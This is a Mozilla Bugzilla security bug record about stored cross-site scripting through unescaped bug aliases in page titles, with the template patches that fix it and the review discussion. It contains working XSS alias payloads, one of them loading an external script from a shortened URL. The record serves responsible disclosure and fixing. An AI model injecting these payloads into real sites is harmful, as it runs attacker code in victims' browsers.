XSS vulnerability through malicious bug aliases

RESOLVED FIXED

Status

()

bugzilla.mozilla.org
General
RESOLVED FIXED
2 years ago
7 months ago

People

(Reporter: Wladimir Palant (for Adblock Plus info Cc bugzilla@adblockplus.org), Assigned: dylan)

Tracking

({sec-critical, wsec-xss})

Production
sec-critical, wsec-xss
Bug Flags:
sec-bounty +

Details

Attachments

(2 attachments, 1 obsolete attachment)

In order to reproduce change the alias for any bug to the following:

> </title>"><script>alert(/xss/)</script>

After changing reload the bug. You will see two alerts saying "xss". One is coming from the alias being inserted unescaped in the bug title, the other from the same issue in the OpenGraph extension. The underlying issue is the same: template/en/default/bug/show-header.html.tmpl template escapes the bug description when composing the title variable but forgets to escape the alias. OpenGraph extension also assumes that this variable is escaped and takes it over without additional escaping.

The upstream fix landed two years ago: https://github.com/bugzilla/bugzilla/commit/11829ac0a3822b246b76c00375c7e4137f9af33b.
(Assignee)

Comment 1

2 years ago
and this wasn't picked up by BMO because we only support a single alias, I imagine. :-/
(Assignee)

Updated

2 years ago
Assignee: nobody → dylan
(Assignee)

Comment 3

2 years ago
The patch in https://github.com/bugzilla/bugzilla/commit/11829ac0a3822b246b76c00375c7e4137f9af33b is not sufficient to fix bmo.
(Assignee)

Comment 4

2 years ago
Created attachment 8725239 [details] [diff] [review]
1252437_1.patch

Fixes bug modal as well. quick review for the push?
Attachment #8725239 - Flags: review?(glob)
Comment on attachment 8725239 [details] [diff] [review]
1252437_1.patch

Review of attachment 8725239 [details] [diff] [review]:
-----------------------------------------------------------------

lgtm r=glob

::: extensions/BugModal/template/en/default/bug_modal/header.html.tmpl
@@ +15,4 @@
>    END;
>    title = "$bug.bug_id - ";
>    IF bug.alias;
> +    filtered_alias = bug.alias FILTER html; 

remove trailing whitespace
Attachment #8725239 - Flags: review?(glob) → review+
(Assignee)

Comment 6

2 years ago
To ssh://gitolite3@git.mozilla.org/webtools/bmo/bugzilla.git
   8ce1053..33c79b8  master -> master

This is also going out today
Status: NEW → RESOLVED
Last Resolved: 2 years ago
Resolution: --- → FIXED
(Assignee)

Updated

2 years ago
Alias: </title>"><script>alert(/ali/)</script>
(Assignee)

Updated

2 years ago
Attachment #8725239 - Flags: review+ → review-
(Assignee)

Updated

2 years ago
Status: RESOLVED → REOPENED
Resolution: FIXED → ---
(Assignee)

Updated

2 years ago
Alias: </title>"><script>alert(/ali/)</script>
(Assignee)

Comment 7

2 years ago
Created attachment 8725250 [details] [diff] [review]
1252437_2.patch

Quick fix for the BMO extension sabotaging the affair...
Attachment #8725239 - Attachment is obsolete: true
Attachment #8725250 - Flags: review?(dkl)
(Assignee)

Updated

2 years ago
Attachment #8725250 - Flags: review?(dkl)
(Assignee)

Comment 8

2 years ago
Created attachment 8725253 [details] [diff] [review]
1252437_3.patch
Attachment #8725250 - Attachment is obsolete: true
Attachment #8725253 - Flags: review?(dkl)
Comment on attachment 8725253 [details] [diff] [review]
1252437_3.patch

Review of attachment 8725253 [details] [diff] [review]:
-----------------------------------------------------------------

fixes the issue for me locally. r=dkl

::: extensions/BMO/template/en/default/hook/bug/show-header-end.html.tmpl
@@ +14,4 @@
>  [% END %]
>  [% title = "$bug.bug_id &ndash; " %]
>  [% IF bug.alias != '' %]
> +  [% filtered_alias = bug.alias FILTER html %]

No need for this as already declared in template/en/default/bug/show-header.html.tmpl
Attachment #8725253 - Flags: review?(dkl) → review+
(Assignee)

Comment 10

2 years ago
To ssh://gitolite3@git.mozilla.org/webtools/bmo/bugzilla.git
   33c79b8..c6e5e86  master -> master

Not changing the patch mid-stream, as I'm going to be changing everything that touches title after we're through this problem.
(Assignee)

Updated

2 years ago
Status: REOPENED → RESOLVED
Last Resolved: 2 years ago2 years ago
Resolution: --- → FIXED
1252437_1.patch shouldn't be obsolete, no? It landed as well and it's necessary in addition to 1252437_3.patch.
(Assignee)

Updated

2 years ago
Attachment #8725239 - Attachment is obsolete: false
Attachment #8725239 - Flags: review- → review+
(Assignee)

Updated

2 years ago
Group: bugzilla-security
Flags: sec-bounty?
Comment hidden (offtopic)
(Assignee)

Updated

2 years ago
Depends on: 842063
(In reply to Dylan William Hardison [:dylan] from comment #13)
> The reporter of the previous bug is long term bugzilla contributor Frederic
> Buclin and he said it was not worth a bounty.

Oh, I didn't realize that bug 842063 comment 6 was the bug reporter. Well, if he doesn't want a bounty then it's ok - the flag can be removed here then.

> Possibly because aliases are limited to 20 characters.

20 characters would have been tricky, going below 25 characters is hard. The actual length limit is 40 characters however which is more than sufficient for a malicious payload.
Status: RESOLVED → UNCONFIRMED
Ever confirmed: false
Resolution: FIXED → ---
Sorry about the bug spam, no idea how that status change happened.
Status: UNCONFIRMED → RESOLVED
Last Resolved: 2 years ago2 years ago
Resolution: --- → FIXED
Flags: sec-bounty?
Restoring bounty flag because this seems to be different from bug 842063: that patch was insufficient to fix us (comment 3), and our alias is apparently longer, possibly enough to cause problems. Wladimir did us a service by telling us we missed this issue.

Is there a way around the whitespace limitation? Without the ability to include external script src there's still probably not enough room to do anything worthwhile and sec-high would overstate the risk
Flags: sec-bounty?
Keywords: sec-high, wsec-xss
Sure, setting </title><script/src="//bit.ly/1Tn1h26"> as alias will happily load an external script.
(In reply to Daniel Veditz [:dveditz] from comment #16)
> Restoring bounty flag because this seems to be different from bug 842063:
> that patch was insufficient to fix us (comment 3), and our alias is
> apparently longer, possibly enough to cause problems.

fwiw the bug alias length was increased from 20 to 40 chars upstream in bug 1012506 (via bug 833611) and as followed suit in bug 1062940. (after bug 842063).
> .. and as followed suit in ..
.. and we followed suit in ..
Flags: sec-bounty? → sec-bounty+
Keywords: sec-high → sec-critical
You need to log in before you can comment on or make changes to this bug.